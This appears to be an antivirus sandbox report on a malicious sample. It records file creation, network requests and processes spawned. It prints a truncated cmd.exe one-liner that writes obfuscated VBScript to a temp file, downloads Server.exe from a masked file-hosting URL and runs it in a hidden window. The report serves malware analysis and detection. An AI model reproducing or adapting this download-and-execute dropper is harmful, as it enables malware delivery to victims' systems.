Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c cd %TEMP% & @ECHO L8k= "http://ww###.#ippyshare.com/d/7wTf1Z3h/13215/Server.exe">>A0l.VBS &@ECHO G5p = N3g("obarxLcvc")>>A0l.VBS &@ECHO Set R2c = CreateObject(N3g("kqvkjPLvkjfrrn"))>>A0l.VBS...
Modifies file system
Creates the following files
- %TEMP%\a0l.vbs
Network activity
TCP
HTTP GET requests
- http://ww###.#ippyshare.com/d/7wTf1Z3h/13215/Server.exe
- http://ww###.#ippyshare.com/v/7wTf1Z3h/file.html
UDP
- DNS ASK ww###.#ippyshare.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%TEMP%\A0l.VBS"
- '<SYSTEM32>\cmd.exe' /c cd %TEMP% & @ECHO L8k= "http://ww###.#ippyshare.com/d/7wTf1Z3h/13215/Server.exe">>A0l.VBS &@ECHO G5p = N3g("obarxLcvc")>>A0l.VBS &@ECHO Set R2c = CreateObject(N3g("kqvkjPLvkjfrrn"))>>A0l.VBS...' (with hidden window)
